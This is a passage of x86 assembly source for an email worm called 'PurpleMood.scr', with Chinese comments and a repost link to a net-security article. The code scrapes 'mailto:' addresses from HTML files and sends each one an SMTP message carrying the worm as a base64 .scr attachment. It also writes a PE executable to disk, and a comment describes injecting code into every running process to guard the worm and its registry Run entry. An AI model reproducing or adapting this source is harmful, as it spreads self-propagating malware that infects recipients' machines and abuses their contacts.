pushad
push NULL
push SOCK_STREAM
push AF_INET
mov eax , 12345678h
_socket = dword ptr $-4
call eax
mov VSocket[ebx],eax
push sizeof(sockaddr) ; Size of connect strucure=16
call @SMTP1 ; Connect structure
dw AF_INET ; Family
db 0,25 ; Port number,avoid htons :)
ServIP dd 0 ; in_addr of server
db 8 dup(0) ; Unused
@SMTP1:
push [offset VSocket+ebx]
mov eax , 12345678h
_connect = dword ptr $-4
call eax
lea eax,[offset SM_I+ebx]
push eax
mov eax,12345678h
_lstrlen = dword ptr $ - 4
call eax
push NULL
push eax
call SM_I_End
SM_I:
HelloServer db "HELO cx",0dh,0ah
db "MAIL FROM: <"
TempMailTo db 128 dup (0)
SM_I_End:
push [offset VSocket+ebx]
call _send[ebx]
push NULL
push SM_II_End - SM_II
call SM_II_End
SM_II:
db ">",0dh,0ah
RcptTo db "RCPT TO: <test@pact518.hit.edu.cn>",0dh,0ah
SM_II_End:
push [offset VSocket+ebx]
call _send[ebx]
push NULL
push SM_Data_Len
call SM_Data
MailData db "DATA",0dh,0ah
db "Subject:hi",0dh,0ah
db "Content-Type: multipart/mixed;boundary=WC_MAIL_PaRt_BoUnDaRy_05151998",0dh,0ah
db "--WC_MAIL_PaRt_BoUnDaRy_05151998",0dh,0ah
db "Content-Type: application/octet-stream; file=PurpleMood.scr",0dh,0ah
db "Content-Transfer-Encoding: base64",0dh,0ah
db "Content-Disposition: attachment; filename=PurpleMood.scr",0dh,0ah,0dh,0ah
SM_Data_Len = $ - MailData
SM_Data:
push [offset VSocket+ebx]
call _send[ebx]
mov eax,Base64_Encoded_Data[ebx]
push eax
call _lstrlen[ebx]
push NULL ;Send base64 attachment
push eax ;SIZEOF_VIRUS_BASE64
push [offset Base64_Encoded_Data+ebx] ; Buffer
push [offset VSocket+ebx]
call _send[ebx]
push NULL
push SM_DR_Len
call SM_DR
MailDataRemain db "--WC_MAIL_PaRt_BoUnDaRy_05151998--",0dh,0ah
db 0dh,0ah,".",0dh,0ah,"QUIT",0dh,0ah
SM_DR_Len = $ - MailDataRemain
SM_DR:
push [offset VSocket+ebx]
call _send[ebx]
push [offset VSocket+ebx]
mov eax , 12345678h
_closecsoket = dword ptr $-4
call eax
popad
ret
SendMail ENDP
;分析MailFileName(*.htm*),寻找Mail_Addr.
Parse_HTM PROC FileName :DWORD
LOCAL hFile : DWORD
LOCAL hMapping : DWORD
LOCAL SafeFSize: DWORD
pushad
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_READ
push FileName
call _CreateFile[ebx]
or eax,eax
jz PH_Exit
mov hFile , eax
xor eax,eax
push eax
push eax
push eax
push PAGE_READONLY
push eax
push hFile
call _CreateFileMapping[ebx]
or eax,eax
jz PH_Close
mov hMapping,eax
xor eax,eax
push eax
push eax
push eax
push FILE_MAP_READ
push hMapping
call _MapViewOfFile[ebx]
or eax,eax
jz PH_Close2
xchg eax,esi ;esi = pMapping
push 0
push hFile
mov eax , 12345678h
_GetFileSize = dword ptr $-4
call eax
sub eax,16 ;For security
add eax,esi
mov SafeFSize,eax ;esi must be below SafeFSize
.while esi < SafeFSize
xor edx,edx ;Valid = FALSE
@pushsz "mailto:"
pop edi
push 7 ;strlen of "mailto:"
pop ecx
repz cmpsb
.if zero? ;找到 mailto:
lea edi,[offset TempMailTo+ebx]
push edi
.while esi<SafeFSize
lodsb
.if al==" "
.continue
.elseif al==">" || al==""" ||al==""""||al=="<"
xor al,al
stosb
.break
.elseif al=="@"
stosb
inc edx
.else
stosb
.endif
.endw
pop edi
.if edx==1
call SendMail
.endif
.endif
inc esi
.endw
PH_Close3:
push esi
call _UnmapViewOfFile[ebx]
PH_Close2:
push hMapping
call _CloseHandle[ebx]
PH_Close:
push hFile
call _CloseHandle[ebx]
PH_Exit:
popad
ret 4
Parse_HTM ENDP
;****************************
;data used by SendMail
;****************************
WSA_Data WSADATA <>
VSocket dd 0
_send dd 0
Base64_Encoded_Data dd 0
Base64DecodeTable equ $
db "A","B","C","D","E","F","G","H","I","J"
db "K","L","M","N","O","P","Q","R","S","T"
db "U","V","W","X","Y","Z","a","b","c","d"
db "e","f","g","h","i","j","k","l","m","n"
db "o","p","q","r","s","t","u","v","w","x"
db "y","z","0","1","2","3","4","5","6","7"
db "8","9","+","/"
SizeOfBase64DecodeTable equ $-Base64DecodeTable
;********CreatePE**********************
CreatePE PROC
LOCAL ByteWrite:DWORD
pushad
lea eax , [offset szFilePath+ebx]
push NULL
push FILE_ATTRIBUTE_NORMAL
push CREATE_NEW
push NULL
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
push eax
call _CreateFile[ebx]
or eax,eax
jz CT_Exit
xchg eax,esi
lea edi,ByteWrite
push 0
push edi
push 200h ; 文件头<200h & FileAliagment=200h
lea eax,[offset MDosStub+ebx]
push eax
push esi ;esi=hFile
call _WriteFile[ebx] ;Write DosStub,NTHeader,SectionHeader
push 0
push edi
push VRAW_SIZE
lea eax,[offset VStart+ebx]
push eax
push esi
call _WriteFile[ebx] ;Write code and import tatle
push esi
call _CloseHandle[ebx]
CT_Exit:
popad
ret
CreatePE ENDP
;*************MonitorThread********************************
;Enum所有活动进程，插入rtThreadStart->rtThreadEnd的代码，监视PurpleMood.scr
;的运行和注册表的Run项.
;***************************************************
转载地址：http://www.netsp.com.cn/Article/netsafe/virus/200607/20060721201200.html
